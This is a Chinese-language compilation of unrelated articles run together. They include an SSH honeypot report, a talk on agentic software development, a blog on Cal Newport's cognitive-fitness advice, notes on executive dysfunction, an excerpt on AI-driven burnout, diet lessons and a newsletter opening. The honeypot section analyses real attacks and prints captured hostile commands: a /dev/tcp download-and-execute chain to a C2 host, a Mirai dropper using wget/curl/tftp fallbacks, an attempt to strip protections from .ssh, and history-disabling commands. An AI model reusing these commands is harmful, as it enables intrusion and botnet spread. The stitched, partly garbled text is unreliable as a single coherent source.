实验设置

这里有个思想实验：如果你只是把一台机器放到互联网上，然后等待，会发生什么？

当然不是真机，而是一台假的机器。它是一个蜜罐：用 Python 脚本伪装成 Ubuntu 22.04 + OpenSSH 8.9 服务器。它看起来很真，体验也很真。你输什么密码它都“接受”，并带一个可信的延迟，然后把你丢进一个带真实目录结构的 shell，最后把你做的每件事都记进 JSON 日志。

转折在于：没有任何东西是真的。文件是假的，命令是模拟的。你刚才跑的 wget？它会假装下载 8 秒，还给你进度条。apt install？它会告诉你包已经装好了。与此同时，你的每一次击键、每一组凭据、每一条命令，都会被静悄悄写入日志。

我在 2026 年 2 月 11 日把它部署进一个 Docker 容器，对外暴露 22 端口，然后转身离开。

54 天后回来，我得到了 317 MB 日志。

前 60 秒

蜜罐上线还不到 1 分钟，第一批访客就来了。

2026-02-11T20:41:15Z  connection  103.215.xx.xx
2026-02-11T20:41:16Z  connection  190.181.xx.xx
2026-02-11T20:41:17Z  login       root / yhsj_idc@act
2026-02-11T20:41:17Z  login       root / oracle123

两个 IP。两次登录尝试。两组密码。有人在某个地方真心觉得它们可能在一台随机服务器上有效。两次尝试间隔不到 2 秒。

这并不是有人专门扫描我的机器，而是互联网背景辐射：自动化系统在全球范围内持续扫描每个 IP 的每个端口，全天候、无休止。如果你的机器曾经开过 22 端口，这些事一直都在发生。

数据规模

先看原始体量：

平均下来约 每天 4,987 次连接，也就是 每分钟 3.5 次，全天不停。凌晨 3 点不会停，周末不会停，节假日也不会停。机器不睡觉。

密码耻辱墙

在 255,566 次登录尝试、48,102 个唯一密码中，下面这些是“金曲榜”：

那些老熟人依旧是老熟人，令人沮丧。仅 123456 就占了全部尝试的 10% 以上。

但 3245gs5662d34 和 345gs5662d34 为什么能排在第 3 和第 4？它们不是词典词，而是某些 IoT 设备或固件里的硬编码默认凭据。某个僵尸网络把它们写死在攻击逻辑里，向全网喷射，希望撞中对应设备。两者合计尝试超过 11,000 次。

还有加密货币线索：solana（1,155 次）、sol（927 次）、validator（708 次）、node（598 次）。攻击者在主动搜寻 Solana 验证节点。他们尝试 solana、sol、solv、validator、node 这些用户名，并配对类似密码。很明显，有人认定加密节点运维是高价值目标，并且已经构建了专门的僵尸网络去找它们。

登录成功后他们会做什么

这里开始有意思了。机器人“一旦”登录成功（别忘了：所有密码都会成功），下一步做什么？

绝大多数，也就是 99.6% 的攻击者，从不打开交互式 shell。它们用 SSH 的 exec 模式打一条命令就断开：

  Command                                              Count
  -------                                              -----
  uname -s -v -n -r -m                                94,572
  export PATH=... ; uname=$(uname -s -v -n -m ...)    63,810
  echo -e "\x6F\x6B"                                   32,656
  /bin/./uname -s -v -n -r -m                         14,031
  cd ~; chattr -ia .ssh; lockr -ia .ssh                6,041

模式非常清楚：先指纹识别，再离开。先跑 uname 看系统类型。输出像目标就稍后回投真实载荷。echo "\x6F\x6B"（解码就是 “ok”）是最简单的存活探测，3.2 万多个 IP 只想确认 shell 还活着。

chattr -ia .ssh 这条尤其典型：它试图去掉 .ssh 目录的不可变属性，常见用途是往 authorized_keys 注入公钥，建立持久化访问。

流量模式

按天的连接量能看出一条曲线：

前两周随着更多僵尸网络发现这个 IP，流量稳步上升。3 月 2 日附近冲到峰值，单日接近 23,000 次连接，约 每分钟 16 次。3 月中旬之后明显回落。

为什么回落？很可能是僵尸网络已经给这个 IP 打完标签：这个主机会响应 SSH、接受密码、内核 Linux 5.15。它们拿到想要的信息后，持续高频重扫阶段结束，只剩长尾和新入场僵尸网络。

他们在什么时间攻击？

攻击在 01:00-04:00 UTC 达峰，在 07:00-09:00 UTC 降到低谷。这不是机器人会疲劳，更可能是亚洲地区 C2 在其工作时段最活跃，叠加欧洲 C2 在 UTC 夜间窗口的负载。

周一和周日最忙。僵尸网络也有“作息”。

攻击源来自哪里

攻击来自 所有有人类居住的大洲。美国居首（244,291 次事件，1,861 个 IP），其后是澳大利亚（188,922）、比利时（156,599）、德国（112,774）、荷兰（107,535）。

但这些数字容易误读。“澳大利亚”不代表澳大利亚人正在攻击，而是悉尼云数据中心很受僵尸网络操作者青睐。澳洲 IP 基本都能追到廉价 VPS 提供商。荷兰、新加坡、美国的大量流量也是同一逻辑：主要是云基础设施，不是真人终端。

比利时流量几乎全部来自一个住宅 IP：单机发了超过 156,000 次登录尝试，比德国全境还多。它连续几周每秒都在锤 echo "\x6F\x6B"，毫不停歇。

这些 IP 背后是什么网络类型？

7,556 个攻击 IP 里，结构几乎对半：52% 云/VPS（3,940），48% 住宅/ISP（3,619）。但云基础设施贡献了 59% 的登录量，输出明显更高。住宅侧更分散：成千上万台被控家用路由器和 IoT 设备，各自占比小，但合起来攻击面巨大。

头部来源非常清楚：

单个云 VPS 提供商就占去接近一半流量：1,548 个 IP 贡献 632,592 次事件。前五大来源合计 69%。但长尾同样关键：前 15 名里有 3 项是单 IP，分别来自比利时住宅网络、东南亚某军方通信网络、南美某高校服务器，各自都安静地输出了数万次尝试。

悉尼、阿姆斯特丹、法兰克福在城市榜靠前，不是攻击者住在那里，而是廉价云机房在那里。

一些更意外的来源：东南亚某军方信号部队的一台机器贡献了 12,310 次尝试；南美一台大学研究服务器贡献了 11,116 次。两者都极可能是被攻陷后当作中继使用，资产所有者并不知情。

0.4%：真正“进来操作”的人

7,556 个攻击 IP 里，只有 28 个曾经打开交互式 shell，占 0.4%。其余全是自动化：打指纹，走人。

但这 28 个才是有意思的。他们手打命令、会输错字、会探索目录，带着明确意图。

好奇探索者（喀麦隆）

165.210.xx.xx  |  Yaounde, Cameroon  |  Residential ISP

root$ ls
root$ neofetch
root$ apt install neofetch
root$ lscpu
root$ cd Downloads
root$ ls
root$ cd Documents
root$ ls
root$ free -h
root$ sudo apt install nano
root$ screenfetch
root$ ping 8.8.8.8
root$ sudo reboot
root$ exit

这个案例很有意思。对方登录后先试 neofetch（漂亮展示系统信息的工具），发现没装就 apt install neofetch。之后像进了别人私人电脑一样逛 Downloads、Documents，还想装 nano。neofetch 不行就改跑 screenfetch，然后 ping Google，尝试重启，最后退出。

这更像是一个刚学会“能进服务器”的人，带着真好奇在探索，而不是老手攻击者。某个时刻他还把 lscpu 打成了 lscou。机器人不会打错字。

反取证小队（荷兰、瑞典）

来自荷兰和瑞典的 3 个不同 IP，一进 shell 就做同一件事：

ubuntu$ ls 2>/dev/null
ubuntu$ export HISTFILE=/dev/null
ubuntu$ export HISTSAVE=/dev/null
ubuntu$ unset HISTFILE
ubuntu$ export HISTFILE=/dev/null
ubuntu$ export HISTSAVE=/dev/null
ubuntu$ unset HISTFILE

他们在做任何事情之前先关 bash 历史记录，而且反复执行，显然非常不想留下命令痕迹。

讽刺的是，这个蜜罐根本不依赖 bash history，而是在传输层记日志。每条 export HISTFILE=/dev/null 都被完整记录、打上时间戳并归档。

职业选手（法国，租用 VPS）

还有一个明显“会干活”的：

213.199.xx.xx  |  Lauterbourg, France  |  VPS Provider

root$ nohup bash -c "exec 6<>/dev/tcp/213.199.xx.xx/60133 \
  && echo -n 'GET /linux' >&6 \
  && cat 0<&6 > /tmp/qNXtkNCRu0 \
  && chmod +x /tmp/qNXtkNCRu0 \
  && /tmp/qNXtkNCRu0 iO0lOO2Dg/IgJfKIj+4sIOyL..." &
root$ dd bs=1 count=1911588 > /tmp/YUHlmPSdG7

这完全是另一种层级。它做了这些事：

1. 通过 /dev/tcp/ 打开原始 TCP 套接字，不用 wget、curl 这类容易暴露在进程列表中的工具。
2. 通过 GET /linux 直接走 socket 拉取二进制。
3. 赋可执行权限并启动，附带长 base64 载荷（很可能是 C2 配置或密钥）。
4. 全流程包在 nohup 里，保证 SSH 断开后仍继续运行。
5. 通过 dd 尝试写入一个 UPX 压缩的 ELF 可执行文件。

这套流程在 3 天内重复了 6 次，并轮换了 4 个 C2 服务器（213.199.xx.xx、47.243.xx.xx、47.82.xx.xx、47.236.xx.xx）。每次都会换随机临时文件名和不同编码载荷。

这不是脚本小子，而是有基础设施的职业化僵尸网络操作者。

IoT 难民（纽约）

85.239.xx.xx  |  New York  |  Cloud Hosting

admin$ enable
admin$ system
admin$ shell
admin$ sh
admin$ linuxshell
admin$ cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai
admin$ rm -rf shr; wget http://202.155.xx.xx/shr || curl -O http://202.155.xx.xx/shr \
       || tftp 202.155.xx.xx -c get shr || tftp -g -r shr 202.155.xx.xx; \
       chmod 777 shr; ./shr ssh; rm -rf shr

这个机器人以为自己连到的是一台路由器。enable、system、shell 是典型 Cisco IOS 从受限 CLI 逃到系统 shell 的命令。由于蜜罐返回的是空输出而不是报错，它就误判“已拿到 shell”，随后投放了 Mirai 僵尸网络的 “senpai” 变种。

它的下载链路有四层回退：wget、curl、tftp（客户端模式）、tftp（另一种语法）。下载后 chmod 777，以 ssh 参数启动（表示继续通过 SSH 传播），再自删。rootsenpai 是它的“到此一游”标记，用来标识已感染主机。

同样流程连续执行了 4 次。非常执着。

最常见的账号密码组合

最常被尝试的用户名+密码组合是什么？

对加密节点的狩猎非常明显。前 15 组合里有 5 组专门瞄准 Solana 基础设施。有人构建（或租用）了专门找弱安全验证节点的僵尸网络。

那他们最常尝试登录成谁？

root 占了超过一半尝试。但 sol 和 solana 也稳定出现在中间位置：加密节点狩猎就这样混在海量服务账号喷射里。

我学到的事

1. 互联网很吵

你的服务器并不特殊。没人需要“专门盯上”你。全网每个 IP 都在被自动化系统持续探测。22 端口一暴露，几秒内就会收到登录尝试。问题不是“会不会”，而是“什么时候” - 答案是“立刻”。

2. 大多数攻击者并不聪明

99.6% 访客连交互 shell 都没进，只执行一条自动命令就走。他们不是黑客，而是被控机器上的脚本，按 C2 指令在全球海量 IP 上重复跑同一条 uname。互联网攻击里的大头其实是噪声。

3. 少数聪明的攻击者非常聪明

那个使用 /dev/tcp/、轮换 C2、投放 UPX 二进制的法国 IP，代表的是职业级进攻工具链。攻击者的前 1% 和后 99% 差距巨大。

4. 加密基础设施自带“吸引力”

针对 Solana 节点凭据（solana/sol/validator/node）的尝试量非常高。任何在公网 SSH 上暴露、且不用密钥认证的加密节点，都会被主动狩猎。

5. 有些人只是好奇

喀麦隆那位探索者、柏林那位慢慢输入命令的人、孟加拉那位会去翻 /var 并创建 text.txt 的访客，他们不像恶意操作者，更像只是想看看“门后有什么”的好奇人类。他们没下恶意程序，也没做持久化，只是到处看。

6. 没人看 MOTD

蜜罐登录后会显示完整 Ubuntu 欢迎信息和系统统计。没有任何交互用户看起来在意这些信息静态得异常。第一件事永远是：ls。

技术实现（实验环境）

给想自己复现的人：

• 语言：Python 3.11，使用 paramiko 处理 SSH 协议
• 部署：Docker 容器，对外开放 22 端口
• 日志：结构化 JSON Lines，一行一个事件
• 假 shell：支持约 40 条命令并给出拟真输出（ls、cat、ps、wget、apt、ifconfig 等）
• 智能延迟：破坏性/下载类命令（wget、curl、apt install）随机延迟 5-10 秒，用于消耗攻击者时间
• 容量：50 并发连接，5 分钟会话超时

整个系统就是一个 816 行 Python 文件。无框架、无数据库、除 paramiko 外无外部依赖。

最后一句

互联网上每分钟、每天，都有成千上万台机器在挨个敲门，尝试每一把钥匙。大多数都在自动驾驶：脚本由某人编写，部署在被攻陷基础设施上，再通过默认凭据和懒惰安全策略继续扩散。

你的 SSH 服务器不是孤岛，它是“每晚所有门都会被试锁一次”的街区里的一栋房子。问题不是会不会有人试你的锁，而是你的锁到底够不够好。

使用密钥认证。关闭密码登录。把 SSH 移出 22 端口。以及，如果你足够好奇，可以留一扇假门，看看谁会走进来。

数据采集区间：2026-02-11 至 2026-04-05。所有 IP 均已部分脱敏。地理数据来源：ip-api.com。

这篇文章最初来自我在公司内部面对一群技术领导者的一次分享。我将其中与公司特定背景相关的内容删去后整理成文，因为核心观点并不只适用于某一家组织。

我想抛出一些我对行业变化的看法。接下来我要讲的，是我二十多年技术职业生涯里见过的变化最快、动态性最强的一次变革之一。我相信，当下正在发生的一些变化，会从根本上重定义我们如何实践这门手艺。

我们所处的位置

先给当下做个定位。代理已经成为现实。我亲眼看到，一个代理从零开始 - 没有代码、没有设计 - 在大约五周内就做出了可运行的 alpha 版本，并且已有真实用户在上面做真实决策。一年前，这还只是一个想法。现在，生产环境里的代理已经在运行。

代理化（Agentification）是我们行业正在经历的下一个重要里程碑。

我年纪已经足够大，可以这样说：有“Web 之前”和“Web 之后”；有“移动之前”和“移动之后”；有“云之前”和“云之后”。而现在，又有了“AI 与代理之前”和“AI 与代理之后”。

我认为，这次转变将会比前面这些都更具颠覆性。

我们必须承认当前的一个悖论：我们正在于最佳实践尚未存在之前就开始构建它们。

我们以前也经历过。经历过云转型的人会记得：当时我们走在行业前面，摸索这种短暂性算力到底该如何工作、如何真正跑起来。当时行业并没有沉淀出稳定模式。今天我们也处在同样的位置。代理化该如何发生，还没有清晰范式。我们将一边构建这些模式，一边与行业共同学习。

这没问题。你只需要清楚自己所处的位置。走在曲线前沿并不坏，但你必须始终知道自己正处于前沿，因为那是高风险区域。你不应该离主流太远。

来点哲学：软件正在变成液体

我想聊点更底层的。

过去两个月，我把自己投入到了一个长期来看可能并不健康的 AI 使用强度里。说实话，如果你去问我家人，他们会同意这个判断。但我这么做，是为了真正吃透那些我认为会改变我们工作方式的核心概念。

把这件事放回历史转型里看。当我们进入移动时代时，大家都知道：要领导移动转型，你必须先成为移动用户。一个从没用过手机的人，能做出优秀移动应用吗？显然不能。所以，要引领 AI 代理化，我们也必须离它非常近。我一直在强迫自己这么做，因为随着经验增长，重构自己的思维方式会越来越难。

我最近一直在想一件事：做错的成本到底是什么？ 我们又该怎样把这个变量折叠进我们的创造过程？

先退一步，想想我们一直怎样做软件。假设我们在构建软件。我们会投入时间做 discovery，会写 stories，会让设计师去画线框，会做很多事情，以确保真正开始开发时，我们在做的是正确的事。

为什么？因为构建软件这件事一直极其昂贵。过去二十年，我职业生涯的主轴，就是如何更有效地把想法变成可工作的软件，以及如何确保我们不会做错 - 确保产出的是有价值的能力。全世界技术团队都在做这件事。做得好的团队，只是比做得差的团队更擅长这套方法。

我后来这样理解它：软件在历史上是一种固体。 你像在花岗岩上凿刻东西。我们带着想法坐下来，过程艰难、工作量大、挑战重重，然后一点点把它从花岗岩里凿出来。

但我认为这正在改变。最早我在网上听到这个说法时并不认同，我当时想这不合理。但越想越觉得准确。那个判断是：软件正在变成液体。

过去二十年，我们一直运行在“软件是难以塑形固体”的世界里。随着 AI 与代理式开发（自动化编程）的出现，软件开始变得可塑。如果你已经用代理做过开发，你应该体验过这种感觉：我重构这段代码的速度，甚至快过我当初为了避免做错决策而做那些防护工作的速度。

当你所从事工作的经济结构发生这种量级的变化时，你必须质疑一切。

建立在“软件昂贵”之上的每种范式都需要重新审视

再往前看。我们大多数人职业早期都经历过敏捷流程。在那之前，大家都做瀑布。为什么？难道他们不够聪明吗？不是 - 他们是在另一组前提上工作。你在 C 代码里犯一个错误，回滚和修复都非常困难。你的领域模型出错并体现在 C 代码里，可能要花几个月才能重构回来。

后来我们有了 Python、PHP、解释型环境、持续集成。范式变了。突然之间，如果我错了怎么办？没关系，我重构。重构 Python 的成本就是比重构 C 低，这是事实。

于是敏捷出现了。我们可以换一种方式，可以变得更有响应性。

云是这段故事的第二部分。云告诉我们，硬件层面也可以这样做 - 我们不用再过度纠结服务器到底放在哪个机房。以前如果服务器放错数据中心，纠正成本很高；在云里，这可能只是几条命令。

我们现在又站在了同样的位置。

AI 正在以一种方式改变软件创造成本，这种改变足以让我们重新审视每一个建立在“做软件很贵”这个前提上的流程。

我甚至认为，PoC 这个概念可能已经不再成立。 过去所谓的 PoC，现在更像 discovery。那 discovery 怎么做？我认为直接在代码里做。你的 discovery 过程可以完全发生在代码中。那代码做完要不要丢？不用。为什么要丢？它是液体。你可以弯它、挪它、重塑它，直到变成你想要的形态。

通过“边创造边发现”来工作，会在根本上改变很多事情。这个范式我们还需要一些时间去吸收。我非常希望你认真审视：在你当前系统里，哪些东西在隐含地假定“做软件非常昂贵”。而且我说的“成本”不只是钱，也包括组织成本。

这就是第一个判断：软件正在变成液体。

管理者应该走进代码

第二个判断，给所有带人团队的管理者。

我过去有一个非常坚定的信念：当我看到一个人员管理者 - 无论是总监还是经理 - 跑去写代码，这通常是警讯。大多数时候，这意味着他在回避本该处理的更困难问题。比如：“你在做具体开发？我猜你有人员问题没处理。”

我现在不再这么看。代理式工程从根本上改变了这件事。

历史上的问题很简单：上下文窗口。作为管理者，你无法真正掌握代码库，因为它太复杂了。那是一块固态资产，由工程手艺人持续打磨。你必须把注意力放在人和系统上。你很难同时在脑子里高质量容纳两件事。

代理完全改变了这个范式。作为总监或经理，没有理由不与代理对话，去询问你所负责资产的质量。而作为人员管理者，你本来就要对团队产出的资产负责。 那你为什么不直接对话这个资产？

为什么我要先问工程师“这个大概要多久”？我本应先和 Claude Code 对话 - 看源码，问它：这是大规模重构吗？如果走这个方向，形态会怎样？

当我们进一步讨论代理化，这件事会更颠覆。因为我们越来越多是在为代理创造软件，而不是只为人创造软件。你想想这个循环：你和一个代理共同创建软件；另一个代理使用它；使用代理给你反馈效果；你把反馈交回编码代理，让它继续迭代。

在这个循环里，你扮演什么角色？我也说不准 - 也许是产品经理。

我今天在家里多个项目上就这么做：让代理彼此给反馈。这种速度和范式变化，是我们必须调整思维方式的基础。

重新思考速度

最后我想让你重点思考：作为一个行业，我们需要在“速度”认知上发生一次台阶式变化。

“这件事要多久？”我认为你现在所有回答这个问题的范式都坏掉了。成本理解坏掉了，复杂度理解坏掉了，全部都坏掉了。

真正评估它的唯一方法，是我前面说的第二点：更接近你负责的资产，更接近代码和产品本身。

就像移动时代一样 - 你没有真实体验过移动应用，就不可能真正理解如何构建它 - 你没有亲身经历代理式转型，就不可能真正理解它。

不要害怕靠近代码。也不要害怕对团队说：“嘿，怎么把那段代码从 Git 里拉出来？我想自己看一眼并做些分析。”

这些是超能力。我们每个人都可以披上斗篷。以前你没有这些能力。现在你有了。我觉得这非常惊人。整个行业都会经历这次转型。

变化曲线与变化速度

最后我想用“变化”本身来收尾。

有个模型叫 Satir 变化曲线。我们每个人现在都处在曲线的不同位置。但和过去每次转型一样，你前进的速度，取决于你自己的投入程度 - 取决于你是否愿意重新思考你掌握的这门手艺，是否愿意放下那些过去二十年很重要、但现在可能不再重要的东西。

我邀请你走上这条路。

就我个人而言，这并不容易。难的地方在于变化速度。想想看：移动时代我们有两三年甚至四年来摸索；云时代我们有半个十年；Web 更久，因为它是第一波。而这一次，我们试图在大约一年内完成。

为什么？因为它建立在此前所有能力之上，并且潜在收益巨大。一旦我们识别出有效路径，投资回报周期是按“周”或“月”计算，而不是“年”。这和此前任何一次转型都不同。

希望你在这里听到的内容，能给你一个更稳的锚点。

软件是液体。底层经济范式已经变了。你有能力带领团队穿过这次变化。

你能逆转“大脑腐化（brain rot）”吗？

2026年4月28日

我关注 Cal Newport 已经有一段时间了（他因《Deep Work》和《Digital Minimalism》而知名）。现在我已经开始期待他每周关于注意力、专注力以及不依赖社交媒体的生活方式的播客。

今天，他发布了一期题为 “How Do I Build Cognitive Fitness?”（我如何建立认知体能？） 的播客（另外，他在 YouTube 上发布的同内容视频标题是 “How Do I Reverse Brain Rot?”，所以我很好奇到底哪个标题点击更多）。

在这期内容里，他提出了五种我们可以提升认知体能的方法，并且挑战我们更有意识地使用时间。如果你想听的话，这期节目上半部分就在讲这个。

下面是他提出的五件事，以及我对每一点的想法。

1. 每天阅读

建议： 他的观点是，你花在阅读上的时间越多，你的大脑就在越多地进行重塑。阅读会训练你“把心智之眼对准一个目标性的内部对象”，比如一个想法或一个观念。 他建议从那些你真正想读的书开始，而不是你觉得“应该”读的书。轻松有趣的书、通俗的书、言情小说，都算。先从每天 15-20 页开始。午饭时读，睡前读。等这个习惯稳定后，再提高到每天 30-50 页。随着你越来越轻松，可以把每 3 本书中的 1 本换成“更难”或更有挑战的书。

我的体会： 我对自己每天都在阅读这件事感觉不错，不过页数肯定还有提升空间。我可能还停留在第一档，每天读 10-20 页，还没到每天 50 页。不过我确实有时在读更有挑战的内容。我现在在读《沙丘救世主》（Dune Messiah），我明显会放慢速度来消化那些段落。

2. 不要回避写作

建议： Cal 表示，由于生成式 AI 的出现，很多人写得比以往更少了；而“如果你想提升认知体能，你应该尽可能寻找更多写作机会。” 他还说，“我们天然会抗拒写作，因为大脑里有太多需要同时运转的部分。”写作很难，我们在写的时候会感到吃力，但它会给我们带来更多“认知力量”。 他建议一边阅读一边学习写作技巧、写日记/简报/博客（咳咳），并让自己适应最开始那 10 分钟的阻力，因为那通常是最难熬过去的阶段。

我的体会： 你觉得我为什么会在这里？哈哈！我正在努力把自己的想法更好地组织成句子和段落。确实，这很难。但我想，只要做得更多，体感上就会越来越容易。我也在尝试更多手写，但我需要找到更合适的场景，让我在写的时候不总被打断。

3. 进行“思考散步”

建议： Cal 建议我们每周进行几次散步，而且不要带手机（如果一定要带，也要让手机非常难拿到，比如放在包最底部）。“练习把注意力转向内部，去理解某些信息。” 在这里，头脑风暴或发呆都算。反思是“你发展自我感的地方”，而我们最好的想法往往来自反思。他建议散步后把你的洞见记录下来，这会帮助你澄清内部思考。

我的体会： 我可能得把这条认真做起来。我不太擅长出门（我远程工作），这方面需要更自律一些。好在天气正在变暖，这会更容易执行。它也能让我更频繁地离开办公桌。还有一件半相关的事：我们的大脑常在洗澡时冒出最好的一些想法，我觉得这两者是有关联的。

4. 把手机插上电

建议： Cal 建议你在家时把手机插着电放在别处，而不是一直带在身边。“每天在家里花上几个小时，让手机不再是你的常驻同伴。”这会给你大量练习机会，让你在没有那种短期刺激冲动的情况下做事情，不总想着去摸手机。 把铃声开着，并告诉别人有事就直接打电话。通过“移除那些靠你停留时长赚钱的应用”让手机变得“不那么诱人”——比如社交媒体 App。

我的体会： 哦，这条真不错。我现在就能做。我在另一个房间有个充电器，可以把手机放在那里。这会是一个非常值得练习的习惯。 不过我还需要解决一个问题：手机放床边的替代方案——我现在还把它当闹钟用，因为去年夏天我们曾在半夜被手机龙卷风预警叫醒，然后立刻抱起孩子冲到地下室。也许我可以把手机插在离床更远的位置，同时还能听到天气警报。我还得继续摸索。

5. 学习一项难技能

建议： Cal 最后一个建议是，去掌握一项既需要你专注投入、持续进步，同时又能给你明确回报的技能。比如打网球、弹吉他、学编织等等。 他接着说，当你学习一项难技能时，它会“建立纪律感，并训练你的长期动机系统：当我们专注于困难的事情，随着时间推移就会获得有意义的回报。”当你练习专注，持续注意力会变得更容易维持。但是，你需要按固定节奏去做，而不是“有心情时才做”。

我的体会： 这条很棒。我得想想我到底想学什么！对我来说难点会是坚持。我有个很糟糕的习惯：每隔几周就会捡起一个新项目，我得尽快把这件事管住。我需要找到一件至少能让我持续一个季度左右的事情。

总体来说，Cal Newport 给了很多很好的建议。我确实认为这些建议能帮助一个人后退一步，评估自己的认知体能。我知道我会开始落实其中一些做法。

这 5 条里你会先实践哪一条？哪一条最容易？哪一条最难？很想听听你的看法。

我曾与一位经验丰富的朋友交谈，他见过许多功能失调的高管团队。我们总结出了三种最常见的类型：

(1) 为个人或自己的团队利益考虑，而非组织整体。 动机要么是自私的，要么是部落主义的。这类团队的决策者往往在优化自己的职位或保护自己的团队，而不是做对整个组织正确的事情。

(2) 无法做出带有真实权衡（trade-offs）的战略决策。 在这种情况下，每一件事似乎都很重要，每一个举措都是优先级。答案随着所在的场合而变化。事实证明，没有权衡的战略根本称不上战略。

(3) 无法进行艰难的对话。 面对冲突和不同意见时回避，导致问题无法得到实质性的解决。

这篇短文把高管团队最常见的三类失调现象概括得很直接：

1. 只为自己或本部门优化，而不是为组织整体优化。
   这类团队里的负责人会优先保护地盘、资源和话语权，即便这会损害公司层面的长期收益。

2. 无法承诺一套有取舍的战略。
   表面上“每件事都重要”，实质上是“不愿放弃任何选项”。结果就是会议里什么都优先，最后没有真正的优先级。正如原文所强调的：没有取舍，就谈不上战略。

3. 无法进行真正困难但必要的对话。
   会议看起来开了很多，但经常以模糊结论收场；该决策的不决策，该对齐的不对齐。战略讨论被细枝末节占满，参与者说了很多，却没有形成关键共识。

作者最后点出的共同根因很关键：
这三种失调，本质上都是在用短期舒适换长期健康。代价不会立刻显现，但最终一定由组织整体来承担。

如果把这三点当作管理自检清单，价值在于：

• 每次跨部门决策时，先问“这对公司整体是否最优”；
• 每次战略评审时，明确“我们主动不做什么”；
• 每次高层会议后，确认“到底做了什么决定、谁负责、何时交付”。

原文出处: https://techtrenches.dev/p/the-human-cost-of-10x-how-ai-is-physically

作者: Denis Stetskov, 2026年4月7日

上周二，晚上 7 点，我从办公桌前站起来，感到颅前部有一股真空感。不是头痛，也不是疲劳。而是一种物理上的空虚，仿佛前额叶整天都在红线运转，最后终于宕机了。我站在那里，愣了十秒钟，试图回忆我接下来要做什么。脑子里一片空白。

在过去的一年里，我大脑在任何一个周二处理的信息量，都曾是过去一周的工作量。代码评审是最糟糕的部分，但真正的“杀手”是上下文切换。AI 生成的 PR、客户的架构决策、三个关于部署问题的 Slack 讨论、需要审核的候选人简历、窗外传来的防空警报，然后又转过头去评审一段机器在几秒钟内写完、而我却需要数小时来验证的代码。每一个任务都要求不同的心理模型。每一个任务都在消耗工作记忆。到了下午 4 点，我做出的决策甚至连新手都未必信任。到了晚上 7 点，我的大脑在物理层面上已经空了。

“业界称之为‘10 倍生产力’。我称之为一个以机器速度生成产出，并强迫人类以生物速度进行处理的系统。”

工作量蠕变 (Workload Creep)

2026 年 2 月，加州大学伯克利分校的研究人员通过在一家拥有 200 人的科技公司进行了为期八个月的深度嵌入研究，并进行了超过 40 场深度访谈。他们的结论是：AI 并不会减少工作，它只会让工作变得更加密集。

他们发现了“工作量蠕变”的三种机制：任务扩张——因为 AI 让完成更多工作成为可能，每个人的职责范围都在膨胀；模糊的边界——在午餐、通勤和晚上，AI 提示词（prompting）依然在发生；隐含的压力——当同事能利用 AI 显而易见地完成更多工作时，所有人的预期都会随之升高。

Upwork 研究院对此进行了量化：77% 使用 AI 的员工表示，AI 增加了他们的工作量，而不是减少了。71% 的人报告了倦怠感。

最令我彻夜难眠的发现是：那些报告了最高 AI 生产力增长的员工，其倦怠程度也最高。在“最高效”的 AI 使用者中，倦burn（倦怠）率高达 88%。他们离离职的可能性是其他人的两倍。

那些在你的仪表盘（dashboard）上看起来表现最出色的人，其实是离离职最近的人。

你的大脑以每秒 10 bit 的速度运行

2025 年，Zheng 和 Meister 在《Neuron》杂志上发表的研究表明，人类大脑处理有意识、分析性思维的速度大约是每秒 10 bit。你的感官系统以大约每秒 10 亿 bit 的速度收集数据。但代码评审的瓶颈在于你真正“思考”的部分，而这一部分的速率仅为每秒 10 bit。

工作记忆一次只能容纳大约 4 个信息块。SmartBear/Cisco 的研究揭示了被所有人忽视的数字：对于少于 100 行的 PR，缺陷检测率为 87%；而对于超过 1,000 行的 PR，该比例降至 28%。在持续工作 60 分钟后，质量会迅速崩塌。

现在看看 AI 对评审队列做了什么。

GitHub 的 Octoverse 2025 数据显示，每月合并的 Pull Request 达到 4320 万个，同比增长 23%。开发人员的每人代码行数在八个月内从 4,450 行增长到了 7,839 行，增幅高达 76%。

Faros AI 分析了超过 10,000 名开发者，发现使用 AI 辅助的开发者合并的 PR 数量增加了 98%。而每一个这样的 PR 最终都会落在资深工程师的桌面上。

正如 MIT 报道的那样：“初级开发人员利用 AI 工具产出了更多的代码，但这种海量的产出正在饱和资深开发人员的评审能力。一名 OCaml 维护者直接拒绝了一个 13,000 行的 AI 生成 PR。因为根本没有带宽去处理。”

我也曾写过关于“监管税”的文章。

在经历了 40 年关于饮食对营养和健康影响的实验后，斯坦福大学的 Christopher Gardner 教授得出了一个简单的结论——饮食领域的争论实际上是一种干扰。

他分享了五个核心教训：

1. 没有一种单一饮食法能在各方面胜出：在质量相当的情况下，低碳、低脂、素食和地中海饮食都能产生相似的平均结果。
2. 个人对饮食的反应差异极大：这种差异大部分无法通过遗传、胰岛素状态或研究人员已确定的任何单一因素来解释。
3. 添加糖和精制谷物是证据最充分、最一致的有害饮食因素：无论你遵循哪种饮食模式，这都是最值得减少的部分。
4. 对你最好的饮食法是你能够坚持下去的那种：但这并不意味着“标准美国饮食”——这意味着找到你能够长期坚持的最高质量的饮食模式。
5. 关于健康饮食的基本原则，科学共识比新闻标题所暗示的要多：多吃全食、蔬菜和豆类。避免添加糖和精制谷物。几乎每一个严肃的饮食框架都同意这一点。

原文出处：No diet wins – A Learning a Day

原文出处: Ann Handley’s Total Annarchy

各位亲爱的“怪咖”们，你好。

如何让自己的文字更有吸引力？如何培养自己的独特风格？当生成式 AI 可以在你读完这句话的时间内，就产出一篇四平八稳的合格文章时，你该如何脱颖而出？

过去几周里，我在收件箱里反复看到了这些问题。为了寻找答案，我们要去华盛顿特区的联邦法院走一趟。

咱们直奔主题吧。

证物 A：

“美国总统不过是为未来第一家庭代管白宫的管家。然而，他绝对不是白宫的主人！”——美国特区法官 Richard Leon，在本周叫停特朗普白宫舞厅建设项目时的裁决书节选。

你第一眼注意到了什么？那个感叹号，对吧？

在那一份裁决书中，出现了 18 个感叹号。整整 18 个！！！

要知道，Leon 法官（他是乔治·W·布什任命的）在法律界是以他“奔放”的标点符号闻名的。去年，在一份叫停某行政命令的意见书里，他用了 26 个感叹号。而且，那份裁决书的脚注里居然还附带了一个秋葵浓汤（Gumbo）的食谱。（听起来像是我在瞎编，但我发誓绝对没有。）

本周，我在好几个地方看到有人提到他这种对标点符号的特殊癖好，但并没有人去深究这背后的意义。

现在，法庭开庭。

法律文书，可以说是地球上最受各种规矩束缚的文体之一了。被动语态、毫无感情色彩的句式、刻意保持中立的语气。“特此命令”、“本庭裁定”……

光是听着就让人想打一个长长长长的哈欠。法律文书的枯燥程度，简直就像是有人疲劳驾驶，随时会睡死在方向盘上。

